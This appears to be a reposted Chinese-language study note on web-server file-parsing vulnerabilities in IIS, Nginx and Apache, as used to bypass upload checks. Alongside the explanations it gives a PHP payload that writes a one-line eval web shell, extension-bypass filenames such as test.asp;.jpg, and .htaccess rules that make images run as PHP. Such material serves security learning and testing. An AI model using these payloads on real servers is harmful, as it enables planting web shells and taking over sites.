中間件-文件解析漏洞筆記(多用於文件上傳漏洞)


 

IIS解析漏洞

  1. 目錄解析漏洞(/test.asp/1.jpg) ---------IIS5.x/6.0
  2. 文件名解析漏洞(test.asp;.jpg)---------IIS5.x/6.0
  3. 畸形解析漏洞(test.jpg/*.php)-----------IIS7.0
  4. 其他解析漏洞---------windows環境

Ngnix解析漏洞

  1. 畸形解析漏洞(test.jpg/*.php)
  2. %00空字節代碼解析漏洞
  3. CVE-2013-4547(%20%00)

Apache解析漏洞

  1. 文件名解析漏洞
  2. .htaccess文件

 

目錄解析漏洞(/test.asp/1.jpg)

IIS5.x/6.0 中,在網站下建立文件夾的名字為*.asp、*.asa、*.cer、*.cdx 的文件夾,那么其目錄內的任何擴展名的文件都會被IIS當做asp文件來解釋並執行。

例如burpsuite抓包創建目錄 test.asp,那么 /test.asp/1.jpg 將被當做asp文件來執行。假設黑客可以控制上傳文件夾路徑,就可以不管上傳后你的圖片改不改名都能拿shell

文件名解析漏洞(test.asp;.jpg)

IIS5.x/6.0 中, 分號后面的不被解析,也就是說 yu.asp;.jpg 會被服務器看成是yu.asp。還有IIS6.0默認的可執行文件除了asp還包含這兩種 .asa   .cer 。

而有些網站對用戶上傳的文件進行校驗,只是校驗其后綴名。所以我們只要上傳 *.asp;.jpg、*.asa;.jpg、*.cer;.jpg 后綴的文件

就可以通過服務器校驗,並且服務器會把它當成asp文件執行。

畸形解析漏洞(test.jpg/*.php)

微軟發布了IIS7.0修補了IIS6.0的解析漏洞,沒想到IIS7.0爆出更嚴重的畸形解析漏洞,於是微軟急忙發布了IIS7.5

在 IIS7.0中,在默認Fast-CGI開啟狀況下,我們往圖片里面寫入下面的代碼

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>

將文件保存成test.jpg格式,上傳到服務器,假設上傳路徑為/upload,上傳成功后,直接訪問/upload/test.jpg/x.php,此時神奇的畸形解析開始發揮作用啦。test.jpg將會被服務器當成php文件執行,所以圖片里面的代碼就會被執行。我們會神奇的發現在 /upload 目錄下創建了一個一句話木馬文件 shell.php 。

臨時解決辦法:設置 cgi.fix_pathinfo為0

這個解析漏洞和下面講的Nginx的解析漏洞是一樣的。

其他解析漏洞

windows環境下,xx.jpg[空格]  或 xx.jpg.  這兩類文件都是不允許存在的,若這樣命名,windows會默認除去空格,黑客可以通過抓包,在文件名后加一個空格或者點繞過黑名單。若上傳成功,空格和點都會被windows自動消除。

 

 

Ngnix解析漏洞

畸形解析漏洞(test.jpg/*.php)

漏洞原因:

· php的配置文件 php.ini 文件中開啟了 cgi.fix_pathinfo

· /etc/php5/fpm/pool.d/www.conf中不正確的配置security.limit_extensions,導致允許將其他格式文件作為php解析執行

nginx<0.8.03環境中,我們新建一個文件,內容為:<?php phpinfo() ?> ,然后將其名字修改為:  test.jpg

在瀏覽器中訪問http://192.168.10.139/test.jpg  顯示圖片解析錯誤。在瀏覽器中訪問 http://192.168.10.139/test.jpg/test.php ,顯示:Access denied.

原因在於,Nginx拿到文件路徑(更專業的說法是URI)/test.jpg/test.php 后,一看后綴是.php,便認為該文件是php文件,於是轉交給php去處理。php一看 /test.jpg/test.php 不存在,便刪去最后的/test.php,又看/test.jpg存在,便把/test.jpg當成要執行的文件了,又因為后綴為.jpg,php認為這不是php文件,於是返回  Access denied. 。

 

%00空字節代碼解析漏洞

原理Ngnix在遇到%00空字節時與后端FastCGI處理不一致,導致可以在圖片中嵌入PHP代碼然后通過訪問xxx.jpg%00.php來執行其中的代碼

在以下版本的nginx中,我們在圖片中嵌入PHP代碼然后通過訪問 xxx.jpg%00.php 來執行其中的代碼

·  Nginx 0.5.*

·  Nginx 0.6.*

·  Nginx 0.7 <= 0.7.65

·  Nginx 0.8 <= 0.8.37

 

 

Apache解析漏洞

 

.htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。

通過 .htaccess文件,可以實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、

允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能IIS平台上不存在該文件,

該文件默認開啟,啟用和關閉在 httpd.conf 文件中配置。

 

 .htaccess 文件生效前提條件為

 

· mod_rewrite 模塊開啟

 

· AllowOverride All

 

 

 

#1:這個.htaccess的意思就是把所有名字里面含有shell的文件當成php腳本來執行

 

<FilesMatch   "shell"> 

 

SetHandler  application/x-httpd-php 

 

</FilesMatchc>

 

 

 

#2:這里代碼的意思可以讓 .jpg后綴名文件格式的文件名以php格式解析

 

AddType application/x-httpd-php .jpg

 

 這樣就可以上傳訪問了

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM